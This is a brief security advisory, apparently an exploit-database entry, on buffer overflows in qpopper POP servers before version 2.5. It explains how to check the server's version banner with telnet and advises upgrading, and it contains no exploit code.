Qualcomm qpopper 2.4 - POP Server Buffer Overflow (1)

A number of buffer-overflow issues reside in versions prior to 2.5 of Qualcomm's 'qpopper' program. Exploiting this issue allows a remote attacker to execute arbitrary commands on hosts that are running a vulnerable version. 

To determine if you are vulnerable, telnet to port 110 on the possibly vulnerable host. A banner appears, informing you of the version of the pop server. For example: 

% telnet yourmailhost.your.domain.com 110 
Trying 123.123.123.123 
Connected to mailhost 
+OK QPOP (version 2.4) at yourmailhost.your.domain.com starting 

If any version prior to 2.5 is reported, including 2.5 beta, you should upgrade immediately to the latest version.
